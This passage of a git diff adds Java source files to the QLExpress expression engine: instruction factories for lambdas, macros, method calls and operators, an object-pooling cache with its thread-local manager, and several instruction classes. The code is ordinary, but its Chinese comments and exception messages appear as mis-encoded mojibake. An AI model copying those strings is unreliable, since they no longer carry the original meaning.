isRoot) + throws Exception { + boolean returnVal = false; + ExpressNode[] children = node.getChildrenArray(); + if (node.getParent() != null && node.getParent().isTypeEqualsOrChild("STATEMENT")) { + children[0].setNodeType(expressRunner.getNodeTypeManager().findNodeType("CONST_STRING")); + children[0].setTreeType(expressRunner.getNodeTypeManager().findNodeType("CONST")); + children[0].setObjectValue(children[0].getValue()); + } + if (node.getParent() != null && node.getParent().isTypeEqualsOrChild("STATEMENT") + && children[1].isTypeEqualsOrChild("STAT_BLOCK")) { + returnVal = new MacroInstructionFactory().createInstruction(expressRunner, result, forStack, node, isRoot); + } else if (node.getParent() != null && node.getParent().isTypeEqualsOrChild("STATEMENT")) { + for (ExpressNode tmpNode : children) { + boolean tmpHas = expressRunner.createInstructionSetPrivate(result, forStack, tmpNode, false); + returnVal = returnVal || tmpHas; + } + OperatorBase op = expressRunner.getOperatorFactory().newInstance("alias"); + result.addInstruction(new InstructionOperator(op, children.length).setLine(node.getLine())); + returnVal = true; + } else { + for (ExpressNode tmpNode : children) { + boolean tmpHas = expressRunner.createInstructionSetPrivate(result, forStack, tmpNode, false); + returnVal = returnVal || tmpHas; + } + + OperatorBase op = expressRunner.getOperatorFactory().newInstance(node); + result.addInstruction(new InstructionOperator(op, children.length).setLine(node.getLine())); + } + return returnVal; + } +} + diff --git a/src/com/ql/util/express/instruction/LambdaInstructionFactory.java b/src/com/ql/util/express/instruction/LambdaInstructionFactory.java new file mode 100644 index 00000000..75c69ec9 --- /dev/null +++ b/src/com/ql/util/express/instruction/LambdaInstructionFactory.java @@ -0,0 +1,54 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.detail.InstructionLoadLambda; +import com.ql.util.express.instruction.opdata.OperateDataLocalVar; +import com.ql.util.express.parse.ExpressNode; + +public class LambdaInstructionFactory extends InstructionFactory { + private static final String LAMBDA_NODE_NAME = "LAMBDA"; + + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception { + ExpressNode[] children = node.getChildrenArray(); + if (children.length != 2) { + throw new QLException("lambda æ“作符需è¦2个æ“作数"); + + } + + InstructionSet lambdaSet = new InstructionSet(InstructionSet.TYPE_FUNCTION); + + // lambda å‚数列表 + ExpressNode lambdaVarDefine = children[0]; + if ("CHILD_EXPRESS".equals(lambdaVarDefine.getNodeType().getName())) { + // 带括å·çš„å‚数写法 + for (ExpressNode varDefine : lambdaVarDefine.getChildrenArray()) { + OperateDataLocalVar tmpVar = new OperateDataLocalVar(varDefine.getValue(), null); + lambdaSet.addParameter(tmpVar); + } + } else { + // å•å‚æ•°çœç•¥æ‹¬å·çš„写法 + lambdaSet.addParameter(new OperateDataLocalVar(lambdaVarDefine.getValue(), null)); + } + + // lambda 逻辑体 + ExpressNode lambdaBodyRoot = new ExpressNode(expressRunner.getNodeTypeManager() + .findNodeType("FUNCTION_DEFINE"), LAMBDA_NODE_NAME); + if ("STAT_BLOCK".equals(node.getNodeType().getName())) { + for (ExpressNode tempNode : children[1].getChildrenArray()) { + lambdaBodyRoot.addChild(tempNode); + } + } else { + lambdaBodyRoot.addChild(children[1]); + } + + expressRunner.createInstructionSet(lambdaBodyRoot, lambdaSet); + result.addInstruction(new InstructionLoadLambda(lambdaSet)); + return false; + } +} diff --git a/src/com/ql/util/express/instruction/LoadAttrInstructionFactory.java b/src/com/ql/util/express/instruction/LoadAttrInstructionFactory.java new file mode 100644 index 00000000..ed8e35af --- /dev/null +++ b/src/com/ql/util/express/instruction/LoadAttrInstructionFactory.java @@ -0,0 +1,29 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.detail.InstructionCallMacro; +import com.ql.util.express.instruction.detail.InstructionLoadAttr; +import com.ql.util.express.parse.ExpressNode; + +public class LoadAttrInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception { + FunctionInstructionSet functionSet = result.getMacroDefine(node.getValue()); + if (functionSet != null) { + //是å®å®šä¹‰ + result.insertInstruction(result.getCurrentPoint() + 1, new InstructionCallMacro(node.getValue()).setLine( + node.getLine()).setLine(node.getLine())); + } else { + result.addInstruction(new InstructionLoadAttr(node.getValue()).setLine(node.getLine())); + if (node.getChildrenArray().length > 0) { + throw new QLException("表达å¼è®¾ç½®é”™è¯¯"); + } + } + return false; + } +} diff --git a/src/com/ql/util/express/instruction/MacroInstructionFactory.java b/src/com/ql/util/express/instruction/MacroInstructionFactory.java new file mode 100644 index 00000000..b7bb04b6 --- /dev/null +++ b/src/com/ql/util/express/instruction/MacroInstructionFactory.java @@ -0,0 +1,24 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.parse.ExpressNode; + +public class MacroInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception { + ExpressNode[] children = node.getChildrenArray(); + String macroName = children[0].getValue(); + ExpressNode macroRoot = new ExpressNode(expressRunner.getNodeTypeManager().findNodeType("FUNCTION_DEFINE"), + "macro-" + macroName); + for (ExpressNode tempNode : children[1].getChildrenArray()) { + macroRoot.addChild(tempNode); + } + InstructionSet macroInstructionSet = expressRunner.createInstructionSet(macroRoot, InstructionSet.TYPE_MACRO); + result.addMacroDefine(macroName, new FunctionInstructionSet(macroName, "macro", macroInstructionSet)); + return false; + } +} diff --git a/src/com/ql/util/express/instruction/MethodCallInstructionFactory.java b/src/com/ql/util/express/instruction/MethodCallInstructionFactory.java new file mode 100644 index 00000000..9d50e661 --- /dev/null +++ b/src/com/ql/util/express/instruction/MethodCallInstructionFactory.java @@ -0,0 +1,35 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.detail.InstructionOperator; +import com.ql.util.express.instruction.op.OperatorBase; +import com.ql.util.express.instruction.op.OperatorMethod; +import com.ql.util.express.parse.ExpressNode; + +public class MethodCallInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception { + ExpressNode[] children = node.getChildrenArray(); + //处ç†å¯¹è±¡ + boolean tmpHas = expressRunner.createInstructionSetPrivate(result, forStack, children[0], false); + boolean returnVal = tmpHas; + //处ç†æ–¹æ³•å称 + if (!"CONST_STRING".equalsIgnoreCase(children[1].getNodeType().getName())) { + throw new QLException("对象方法å称ä¸æ˜¯å­—符串常é‡:" + children[1]); + } + String methodName = (String)children[1].getObjectValue(); + //处ç†æ–¹æ³•å‚æ•° + for (int i = 2; i < children.length; i++) { + tmpHas = expressRunner.createInstructionSetPrivate(result, forStack, children[i], false); + returnVal = returnVal || tmpHas; + } + OperatorBase op = new OperatorMethod(methodName); + result.addInstruction(new InstructionOperator(op, children.length - 1).setLine(node.getLine())); + return returnVal; + } +} diff --git a/src/com/ql/util/express/instruction/NewInstructionFactory.java b/src/com/ql/util/express/instruction/NewInstructionFactory.java new file mode 100644 index 00000000..3cf7ea91 --- /dev/null +++ b/src/com/ql/util/express/instruction/NewInstructionFactory.java @@ -0,0 +1,41 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.instruction.detail.InstructionOperator; +import com.ql.util.express.instruction.op.OperatorBase; +import com.ql.util.express.parse.ExpressNode; + +public class NewInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception { + OperatorBase op = expressRunner.getOperatorFactory().newInstance("new"); + ExpressNode[] children = node.getChildrenArray(); + if (node.isTypeEqualsOrChild("NEW_ARRAY")) { + StringBuilder tempStr = new StringBuilder(children[0].getValue()); + for (int i = 0; i < children.length - 1; i++) { + tempStr.append("[]"); + } + children[0].setValue(tempStr.toString()); + children[0].setOriginalValue(tempStr.toString()); + children[0].setObjectValue(ExpressUtil.getJavaClass(tempStr.toString())); + } else if (node.isTypeEqualsOrChild("anonymousNewArray")) { + op = expressRunner.getOperatorFactory().newInstance("anonymousNewArray"); + } + + boolean returnVal = false; + + // 需è¦é‡æ–°èŽ·å–æ•°æ® + children = node.getChildrenArray(); + for (ExpressNode child : children) { + boolean tmpHas = expressRunner.createInstructionSetPrivate(result, forStack, child, false); + returnVal = returnVal || tmpHas; + } + result.addInstruction(new InstructionOperator(op, children.length).setLine(node.getLine())); + return returnVal; + } +} diff --git a/src/com/ql/util/express/instruction/NewVClassInstructionFactory.java b/src/com/ql/util/express/instruction/NewVClassInstructionFactory.java new file mode 100644 index 00000000..2f735e4d --- /dev/null +++ b/src/com/ql/util/express/instruction/NewVClassInstructionFactory.java @@ -0,0 +1,24 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.instruction.detail.InstructionNewVirClass; +import com.ql.util.express.parse.ExpressNode; + +public class NewVClassInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception { + ExpressNode[] children = node.getChildrenArray(); + boolean returnVal = false; + String virClassName = children[0].getValue(); + for (int i = 1; i < children.length; i++) { + boolean tmpHas = expressRunner.createInstructionSetPrivate(result, forStack, children[i], false); + returnVal = returnVal || tmpHas; + } + result.addInstruction(new InstructionNewVirClass(virClassName, children.length - 1).setLine(node.getLine())); + return returnVal; + } +} diff --git a/src/com/ql/util/express/instruction/NullInstructionFactory.java b/src/com/ql/util/express/instruction/NullInstructionFactory.java new file mode 100644 index 00000000..cb957a9b --- /dev/null +++ b/src/com/ql/util/express/instruction/NullInstructionFactory.java @@ -0,0 +1,15 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.parse.ExpressNode; + +public class NullInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) { + return false; + } +} diff --git a/src/com/ql/util/express/instruction/OperateDataCacheImpl.java b/src/com/ql/util/express/instruction/OperateDataCacheImpl.java new file mode 100644 index 00000000..1ccb0054 --- /dev/null +++ b/src/com/ql/util/express/instruction/OperateDataCacheImpl.java @@ -0,0 +1,228 @@ +package com.ql.util.express.instruction; + +import com.ql.util.express.CallResult; +import com.ql.util.express.ExpressLoader; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.IExpressContext; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.RunEnvironment; +import com.ql.util.express.instruction.opdata.OperateDataArrayItem; +import com.ql.util.express.instruction.opdata.OperateDataAttr; +import com.ql.util.express.instruction.opdata.OperateDataField; +import com.ql.util.express.instruction.opdata.OperateDataKeyValue; +import com.ql.util.express.instruction.opdata.OperateDataLocalVar; + +public class OperateDataCacheImpl implements IOperateDataCache { + private final OperateData[] dataList; + private final OperateDataAttr[] attrList; + private final OperateDataLocalVar[] localVarList; + private final OperateDataField[] fieldList; + private final OperateDataArrayItem[] arrayList; + private final OperateDataKeyValue[] keyValueList; + private final RunEnvironment[] environmentList; + private final CallResult[] callResultList; + private final InstructionSetContext[] contextList; + + private int dataPoint = 0; + private int attrPoint = 0; + private int localVarPoint = 0; + private int fieldPoint = 0; + private int arrayPoint = 0; + private int keyValuePoint = 0; + private int environmentPoint = 0; + private int callResultPoint = 0; + private int contextPoint = 0; + private final int length; + + public OperateDataCacheImpl(int len) { + length = len; + dataList = new OperateData[len]; + attrList = new OperateDataAttr[len]; + localVarList = new OperateDataLocalVar[len]; + fieldList = new OperateDataField[len]; + arrayList = new OperateDataArrayItem[len]; + keyValueList = new OperateDataKeyValue[len]; + callResultList = new CallResult[len]; + environmentList = new RunEnvironment[len]; + contextList = new InstructionSetContext[len]; + for (int i = 0; i < len; i++) { + dataList[i] = new OperateData(null, null); + attrList[i] = new OperateDataAttr(null, null); + localVarList[i] = new OperateDataLocalVar(null, null); + fieldList[i] = new OperateDataField(null, null); + arrayList[i] = new OperateDataArrayItem(null, -1); + keyValueList[i] = new OperateDataKeyValue(null, null); + callResultList[i] = new CallResult(null, false); + environmentList[i] = new RunEnvironment(null, null, false); + contextList[i] = new InstructionSetContext(false, null, null, null, false); + } + } + + @Override + public void resetCache() { + for (int i = 0; i <= dataPoint && i < length; i++) { + dataList[i].clear(); + } + for (int i = 0; i <= attrPoint && i < length; i++) { + attrList[i].clearDataAttr(); + } + for (int i = 0; i <= localVarPoint && i < length; i++) { + localVarList[i].clearDataLocalVar(); + } + for (int i = 0; i <= fieldPoint && i < length; i++) { + fieldList[i].clearDataField(); + } + for (int i = 0; i <= arrayPoint && i < length; i++) { + arrayList[i].clearDataArrayItem(); + } + for (int i = 0; i <= keyValuePoint && i < length; i++) { + keyValueList[i].clearDataKeyValue(); + } + for (int i = 0; i <= callResultPoint && i < length; i++) { + callResultList[i].clear(); + } + for (int i = 0; i <= environmentPoint && i < length; i++) { + environmentList[i].clear(); + } + for (int i = 0; i <= contextPoint && i < length; i++) { + contextList[i].clear(); + } + + dataPoint = 0; + attrPoint = 0; + localVarPoint = 0; + fieldPoint = 0; + arrayPoint = 0; + keyValuePoint = 0; + callResultPoint = 0; + environmentPoint = 0; + contextPoint = 0; + } + + @Override + public InstructionSetContext fetchInstructionSetContext(boolean isExpandToParent, ExpressRunner expressRunner, + IExpressContext parent, ExpressLoader expressLoader, boolean isSupportDynamicFieldName) { + InstructionSetContext result; + if (contextPoint < length) { + result = contextList[contextPoint]; + result.initial(isExpandToParent, expressRunner, parent, expressLoader, isSupportDynamicFieldName); + contextPoint = contextPoint + 1; + } else { + result = new InstructionSetContext(isExpandToParent, expressRunner, parent, expressLoader, + isSupportDynamicFieldName); + } + return result; + } + + @Override + public RunEnvironment fetRunEnvironment(InstructionSet instructionSet, InstructionSetContext instructionSetContext, + boolean isTrace) { + RunEnvironment result; + if (environmentPoint < length) { + result = environmentList[environmentPoint]; + result.initial(instructionSet, instructionSetContext, isTrace); + environmentPoint = environmentPoint + 1; + } else { + result = new RunEnvironment(instructionSet, instructionSetContext, isTrace); + } + return result; + } + + @Override + public CallResult fetchCallResult(Object returnValue, boolean isExit) { + CallResult result; + if (callResultPoint < length) { + result = callResultList[callResultPoint]; + result.initial(returnValue, isExit); + callResultPoint = callResultPoint + 1; + } else { + result = new CallResult(returnValue, isExit); + } + return result; + } + + @Override + public OperateData fetchOperateData(Object obj, Class type) { + OperateData result; + if (dataPoint < length) { + result = dataList[dataPoint]; + result.initial(obj, type); + dataPoint = dataPoint + 1; + } else { + result = new OperateData(obj, type); + } + return result; + } + + @Override + public OperateDataAttr fetchOperateDataAttr(String name, Class type) { + OperateDataAttr result; + if (attrPoint < length) { + result = attrList[attrPoint]; + result.initialDataAttr(name, type); + attrPoint = attrPoint + 1; + } else { + result = new OperateDataAttr(name, type); + } + return result; + } + + @Override + public OperateDataLocalVar fetchOperateDataLocalVar(String name, Class type) { + OperateDataLocalVar result; + if (localVarPoint < length) { + result = localVarList[localVarPoint]; + result.initialDataLocalVar(name, type); + localVarPoint = localVarPoint + 1; + } else { + result = new OperateDataLocalVar(name, type); + } + return result; + } + + @Override + public OperateDataField fetchOperateDataField(Object fieldObject, String fieldName) { + OperateDataField result; + if (fieldPoint < length) { + result = fieldList[fieldPoint]; + result.initialDataField(fieldObject, fieldName); + fieldPoint = fieldPoint + 1; + } else { + result = new OperateDataField(fieldObject, fieldName); + } + return result; + } + + @Override + public OperateDataArrayItem fetchOperateDataArrayItem(OperateData operateData, int index) { + OperateDataArrayItem result; + if (arrayPoint < length) { + result = arrayList[arrayPoint]; + result.initialDataArrayItem(operateData, index); + arrayPoint = arrayPoint + 1; + } else { + result = new OperateDataArrayItem(operateData, index); + } + return result; + } + + @Override + public OperateDataKeyValue fetchOperateDataKeyValue(OperateData key, OperateData value) { + OperateDataKeyValue result; + if (this.keyValuePoint < length) { + result = this.keyValueList[keyValuePoint]; + result.initialDataKeyValue(key, value); + keyValuePoint = keyValuePoint + 1; + } else { + result = new OperateDataKeyValue(key, value); + } + return result; + } + + @Override + public long getFetchCount() { + return 0; + } +} diff --git a/src/com/ql/util/express/instruction/OperateDataCacheManager.java b/src/com/ql/util/express/instruction/OperateDataCacheManager.java new file mode 100644 index 00000000..90d3799c --- /dev/null +++ b/src/com/ql/util/express/instruction/OperateDataCacheManager.java @@ -0,0 +1,111 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.CallResult; +import com.ql.util.express.ExpressLoader; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.IExpressContext; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.RunEnvironment; +import com.ql.util.express.instruction.opdata.OperateDataArrayItem; +import com.ql.util.express.instruction.opdata.OperateDataAttr; +import com.ql.util.express.instruction.opdata.OperateDataField; +import com.ql.util.express.instruction.opdata.OperateDataKeyValue; +import com.ql.util.express.instruction.opdata.OperateDataLocalVar; + +public class OperateDataCacheManager { + private static final ThreadLocal RUNNER_DATA_CACHE_THREAD_LOCAL = ThreadLocal.withInitial( + RunnerDataCache::new); + + private OperateDataCacheManager() { + throw new IllegalStateException("Utility class"); + } + + public static void push(ExpressRunner expressRunner) { + RUNNER_DATA_CACHE_THREAD_LOCAL.get().push(expressRunner); + } + + public static IOperateDataCache getOperateDataCache() { + return RUNNER_DATA_CACHE_THREAD_LOCAL.get().getCache(); + } + + public static OperateData fetchOperateData(Object obj, Class type) { + return getOperateDataCache().fetchOperateData(obj, type); + } + + public static OperateDataAttr fetchOperateDataAttr(String name, Class type) { + return getOperateDataCache().fetchOperateDataAttr(name, type); + } + + public static OperateDataLocalVar fetchOperateDataLocalVar(String name, Class type) { + return getOperateDataCache().fetchOperateDataLocalVar(name, type); + } + + public static OperateDataField fetchOperateDataField(Object fieldObject, String fieldName) { + return getOperateDataCache().fetchOperateDataField(fieldObject, fieldName); + } + + public static OperateDataArrayItem fetchOperateDataArrayItem(OperateData arrayObject, int index) { + return getOperateDataCache().fetchOperateDataArrayItem(arrayObject, index); + } + + public static OperateDataKeyValue fetchOperateDataKeyValue(OperateData key, OperateData value) { + return getOperateDataCache().fetchOperateDataKeyValue(key, value); + } + + public static RunEnvironment fetRunEnvironment(InstructionSet instructionSet, + InstructionSetContext instructionSetContext, boolean isTrace) { + return getOperateDataCache().fetRunEnvironment(instructionSet, instructionSetContext, isTrace); + } + + public static CallResult fetchCallResult(Object returnValue, boolean isExit) { + return getOperateDataCache().fetchCallResult(returnValue, isExit); + } + + public static InstructionSetContext fetchInstructionSetContext(boolean isExpandToParent, + ExpressRunner expressRunner, IExpressContext parent, ExpressLoader expressLoader, + boolean isSupportDynamicFieldName) { + return getOperateDataCache().fetchInstructionSetContext(isExpandToParent, expressRunner, parent, expressLoader, + isSupportDynamicFieldName); + } + + public static long getFetchCount() { + return getOperateDataCache().getFetchCount(); + } + + public static void resetCache() { + getOperateDataCache().resetCache(); + RUNNER_DATA_CACHE_THREAD_LOCAL.get().pop(); + } +} + +class RunnerDataCache { + private IOperateDataCache cache; + + private final Stack stack = new Stack<>(); + + public void push(ExpressRunner expressRunner) { + this.cache = expressRunner.getOperateDataCache(); + this.stack.push(expressRunner); + } + + public void pop() { + //原有的逻辑 + //this.cache = this.stack.pop().getOperateDataCache(); + + //bugfix处ç†ExpressRunner嵌套情况下,cache还原的问题 + this.stack.pop(); + if (!this.stack.isEmpty()) { + this.cache = this.stack.peek().getOperateDataCache(); + } else { + this.cache = null; + } + } + + public IOperateDataCache getCache() { + return cache; + } +} \ No newline at end of file diff --git a/src/com/ql/util/express/instruction/OperatorInstructionFactory.java b/src/com/ql/util/express/instruction/OperatorInstructionFactory.java new file mode 100644 index 00000000..1c270d58 --- /dev/null +++ b/src/com/ql/util/express/instruction/OperatorInstructionFactory.java @@ -0,0 +1,59 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExportItem; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.instruction.detail.InstructionGoToWithCondition; +import com.ql.util.express.instruction.detail.InstructionGoToWithNotNull; +import com.ql.util.express.instruction.detail.InstructionOperator; +import com.ql.util.express.instruction.detail.InstructionReturn; +import com.ql.util.express.instruction.op.OperatorBase; +import com.ql.util.express.parse.ExpressNode; + +class OperatorInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception { + boolean returnVal = false; + ExpressNode[] children = node.getChildrenArray(); + int[] finishPoint = new int[children.length]; + for (int i = 0; i < children.length; i++) { + ExpressNode tmpNode = children[i]; + boolean tmpHas = expressRunner.createInstructionSetPrivate(result, forStack, tmpNode, false); + returnVal = returnVal || tmpHas; + finishPoint[i] = result.getCurrentPoint(); + } + + if (node.isTypeEqualsOrChild("return")) { + result.addInstruction(new InstructionReturn(children.length > 0).setLine(node.getLine())); + } else { + OperatorBase op = expressRunner.getOperatorFactory().newInstance(node); + result.addInstruction(new InstructionOperator(op, children.length).setLine(node.getLine()) + .setLine(node.getLine())); + if (node.isTypeEqualsOrChild("&&") && expressRunner.isShortCircuit()) { + result.insertInstruction(finishPoint[0] + 1, + new InstructionGoToWithCondition(false, result.getCurrentPoint() - finishPoint[0] + 1, + false).setLine(node.getLine())); + } else if (node.isTypeEqualsOrChild("||") && expressRunner.isShortCircuit()) { + result.insertInstruction(finishPoint[0] + 1, + new InstructionGoToWithCondition(true, result.getCurrentPoint() - finishPoint[0] + 1, + false).setLine(node.getLine())); + } else if (node.isTypeEqualsOrChild("nor")) { + result.insertInstruction(finishPoint[0] + 1, + new InstructionGoToWithNotNull(result.getCurrentPoint() - finishPoint[0] + 1, false).setLine( + node.getLine())); + } else if (node.isTypeEqualsOrChild("def") || node.isTypeEqualsOrChild("alias")) { + returnVal = true; + } else if (node.isTypeEqualsOrChild("exportDef")) { + //添加对外的å˜é‡å£°æ˜Ž + result.addExportDef(new ExportItem(children[1].toString(), ExportItem.TYPE_DEF, "还没有实现")); + } else if (node.isTypeEqualsOrChild("exportAlias")) { + result.addExportDef(new ExportItem(children[0].toString(), ExportItem.TYPE_ALIAS, "还没有实现")); + } + } + return returnVal; + } +} + diff --git a/src/com/ql/util/express/instruction/detail/Instruction.java b/src/com/ql/util/express/instruction/detail/Instruction.java new file mode 100644 index 00000000..caab7a84 --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/Instruction.java @@ -0,0 +1,24 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.RunEnvironment; + +public abstract class Instruction { + private Integer line = 0; + + public Instruction setLine(Integer line) { + this.line = line; + return this; + } + + public Integer getLine() { + return line; + } + + public String getExceptionPrefix() { + return "run QlExpress Exception at line " + line + " :"; + } + + public abstract void execute(RunEnvironment environment, List errorList) throws Exception; +} diff --git a/src/com/ql/util/express/instruction/detail/InstructionCallMacro.java b/src/com/ql/util/express/instruction/detail/InstructionCallMacro.java new file mode 100644 index 00000000..018fc87b --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/InstructionCallMacro.java @@ -0,0 +1,40 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.InstructionSet; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.InstructionSetRunner; +import com.ql.util.express.OperateData; +import com.ql.util.express.RunEnvironment; +import com.ql.util.express.instruction.OperateDataCacheManager; + +public class InstructionCallMacro extends Instruction { + private final String name; + + public InstructionCallMacro(String name) { + this.name = name; + } + + @Override + public void execute(RunEnvironment environment, List errorList) throws Exception { + InstructionSetContext context = environment.getContext(); + Object functionSet = context.getSymbol(this.name); + + Object result = InstructionSetRunner.execute(context.getExpressRunner(), (InstructionSet)functionSet, + context.getExpressLoader(), context, errorList, environment.isTrace(), false, false, + environment.getContext().isSupportDynamicFieldName()); + if (result instanceof OperateData) { + environment.push((OperateData)result); + } else { + environment.push(OperateDataCacheManager.fetchOperateData(result, null)); + } + + environment.programPointAddOne(); + } + + @Override + public String toString() { + return "call macro " + this.name; + } +} diff --git a/src/com/ql/util/express/instruction/detail/InstructionCallSelfDefineFunction.java b/src/com/ql/util/express/instruction/detail/InstructionCallSelfDefineFunction.java new file mode 100644 index 00000000..0c3b86f3 --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/InstructionCallSelfDefineFunction.java @@ -0,0 +1,70 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.ArraySwap; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.InstructionSetRunner; +import com.ql.util.express.OperateData; +import com.ql.util.express.RunEnvironment; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.OperateDataCacheManager; +import com.ql.util.express.instruction.opdata.OperateDataLocalVar; + +public class InstructionCallSelfDefineFunction extends Instruction { + private final String functionName; + private final int opDataNumber; + + public InstructionCallSelfDefineFunction(String name, int opDataNumber) { + this.functionName = name; + this.opDataNumber = opDataNumber; + } + + public String getFunctionName() { + return functionName; + } + + public int getOpDataNumber() { + return opDataNumber; + } + + @Override + public void execute(RunEnvironment environment, List errorList) throws Exception { + ArraySwap parameters = environment.popArray(this.opDataNumber); + + Object function = environment.getContext().getSymbol(functionName); + if (!(function instanceof InstructionSet)) { + throw new QLException( + getExceptionPrefix() + "在Runnerçš„æ“作符定义和自定义函数中都没有找到" + this.functionName + "的定义"); + } + InstructionSet functionSet = (InstructionSet)function; + OperateData result = InstructionCallSelfDefineFunction.executeSelfFunction(environment, functionSet, parameters, + errorList); + environment.push(result); + environment.programPointAddOne(); + } + + public static OperateData executeSelfFunction(RunEnvironment environment, InstructionSet functionSet, + ArraySwap parameters, List errorList) throws Exception { + InstructionSetContext context = OperateDataCacheManager.fetchInstructionSetContext( + true, environment.getContext().getExpressRunner(), environment.getContext(), + environment.getContext().getExpressLoader(), environment.getContext().isSupportDynamicFieldName()); + OperateDataLocalVar[] vars = functionSet.getParameters(); + for (int i = 0; i < vars.length; i++) { + //注æ„此处必须new 一个新的对象,å¦åˆ™å°±ä¼šåœ¨å¤šæ¬¡è°ƒç”¨çš„时候导致数æ®å†²çª + OperateDataLocalVar operateDataLocalVar = OperateDataCacheManager.fetchOperateDataLocalVar( + vars[i].getName(), vars[i].getOriginalType()); + context.addSymbol(operateDataLocalVar.getName(), operateDataLocalVar); + operateDataLocalVar.setObject(context, parameters.get(i).getObject(environment.getContext())); + } + Object result = InstructionSetRunner.execute(functionSet, context, errorList, environment.isTrace(), false, + true); + return OperateDataCacheManager.fetchOperateData(result, null); + } + + @Override + public String toString() { + return "call Function[" + this.functionName + "] OPNUMBER[" + this.opDataNumber + "]"; + } +} diff --git a/src/com/ql/util/express/instruction/detail/InstructionClearDataStack.java b/src/com/ql/util/express/instruction/detail/InstructionClearDataStack.java new file mode 100644 index 00000000..2020aca0 --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/InstructionClearDataStack.java @@ -0,0 +1,20 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.RunEnvironment; + +public class InstructionClearDataStack extends Instruction { + @Override + public void execute(RunEnvironment environment, List errorList) { + // ç›®å‰çš„模å¼ï¼Œä¸éœ€è¦æ‰§è¡Œä»»ä½•æ“作 + environment.clearDataStack(); + environment.programPointAddOne(); + } + + @Override + public String toString() { + return "clearDataStack"; + } +} + diff --git a/src/com/ql/util/express/instruction/detail/InstructionCloseNewArea.java b/src/com/ql/util/express/instruction/detail/InstructionCloseNewArea.java new file mode 100644 index 00000000..e5979be9 --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/InstructionCloseNewArea.java @@ -0,0 +1,20 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.RunEnvironment; + +public class InstructionCloseNewArea extends Instruction { + @Override + public void execute(RunEnvironment environment, List errorList) { + //ç›®å‰çš„模å¼ï¼Œä¸éœ€è¦æ‰§è¡Œä»»ä½•æ“作 + environment.setContext((InstructionSetContext)environment.getContext().getParent()); + environment.programPointAddOne(); + } + + @Override + public String toString() { + return "closeNewArea"; + } +} diff --git a/src/com/ql/util/express/instruction/detail/InstructionConstData.java b/src/com/ql/util/express/instruction/detail/InstructionConstData.java new file mode 100644 index 00000000..3080a349 --- /dev/null +++ b/src/com/ql/util/express/instruction/detail/InstructionConstData.java @@ -0,0 +1,34 @@ +package com.ql.util.express.instruction.detail; + +import java.util.List; + +import com.ql.util.express.OperateData; +import com.ql.util.express.RunEnvironment; +import com.ql.util.express.instruction.opdata.OperateDataAttr; + +public class InstructionConstData extends Instruction { + private final OperateData operateData; + + public InstructionConstData(OperateData operateData) { + this.operateData = operateData; + } + + public OperateData getOperateData() { + return this.operateData; + } + + @Override + public void execute(RunEnvironment 